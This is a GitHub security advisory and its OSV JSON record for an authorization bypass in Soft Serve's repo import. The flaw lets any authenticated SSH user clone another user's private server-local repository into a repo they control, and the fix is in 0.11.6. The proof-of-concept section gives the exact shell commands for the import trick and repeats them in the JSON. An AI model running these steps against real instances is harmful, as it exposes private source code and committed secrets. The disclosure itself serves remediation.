GHSA-XGXP-F695-6VRP
Vulnerability from github – Published: 2026-03-19 19:27 – Updated: 2026-03-27 21:58Summary
An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.
Details
Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.
The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.
The relevant vulnerable flow is:
- pkg/ssh/cmd/import.go
- pkg/ssh/cmd/cmd.go:172
- pkg/backend/user.go:94
- pkg/backend/repo.go:102
PoC
Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.
Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:
soft repo create secret -p
- Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
- Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
- Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret
Expected result:
Error: repository not found
- As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
- Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt
Expected result:
top secret
Notes:
- The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.
Impact
This is an authorization bypass and confidentiality issue.
Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.
Impacted parties:
- Operators hosting Soft Serve for multiple users or teams
- Owners of private repositories on the same instance
- Any deployment where untrusted authenticated users can use repo import
Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/charmbracelet/soft-serve"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33353"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:27:58Z",
"nvd_published_at": "2026-03-24T20:16:29Z",
"severity": "HIGH"
},
"details": "### Summary\nAn authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user\u0027s private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.\n\n### Details\nRepo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [`pkg/backend/user.go:46`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).\n\nThe import command then passes the user-controlled `REMOTE` into [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker.\n\nThe relevant vulnerable flow is:\n- [`pkg/ssh/cmd/import.go`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)\n- [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)\n- [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)\n- [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)\n\n### PoC\nConfiguration:\n- Default local test configuration is sufficient.\n- SSH must be enabled.\n- At least two users are needed: one owner/admin and one low-privilege authenticated user.\n\nReproduction steps:\n1. Start Soft Serve.\n2. As an admin, create a private repo:\n\n```sh\nsoft repo create secret -p\n```\n\n3. Create a second low-privilege user:\n\n```sh\nsoft user create user1 --key \"$USER1_AUTHORIZED_KEY\"\n```\n\n4. Seed the private repo with secret content:\n\n```sh\ngit clone ssh://localhost:$SSH_PORT/secret secret\necho \u0027top secret\u0027 \u003e secret/SECRET.txt\ngit -C secret add SECRET.txt\ngit -C secret commit -m \u0027first\u0027\ngit -C secret push origin HEAD\n```\n\n5. Confirm the low-privilege user cannot access the private repo directly:\n\n```sh\nusoft repo info secret\n```\n\nExpected result:\n\n```text\nError: repository not found\n```\n\n6. As the low-privilege user, import the server-local bare repo path into a new repo:\n\n```sh\nusoft repo import stolen \"$DATA_PATH/repos/secret.git\" --lfs-endpoint http://example.com\n```\n\n7. Clone the attacker-controlled imported repo and read the secret:\n\n```sh\nugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone\ncat stolen-clone/SECRET.txt\n```\n\nExpected result:\n\n```text\ntop secret\n```\n\nNotes:\n- The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import.\n\n### Impact\nThis is an authorization bypass and confidentiality issue.\n\nAny authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.\n\nImpacted parties:\n- Operators hosting Soft Serve for multiple users or teams\n- Owners of private repositories on the same instance\n- Any deployment where untrusted authenticated users can use `repo import`\n\nPractical impact:\n- Theft of private source code\n- Disclosure of secrets committed to private repos\n- Exposure of unreleased or internal projects\n- Possible follow-on supply-chain risk if stolen code contains credentials or release material",
"id": "GHSA-xgxp-f695-6vrp",
"modified": "2026-03-27T21:58:26Z",
"published": "2026-03-19T19:27:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33353"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55"
},
{
"type": "PACKAGE",
"url": "https://github.com/charmbracelet/soft-serve"
},
{
"type": "WEB",
"url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "In Soft Serve, an authenticated repo import can clone server-local private repositories"
}
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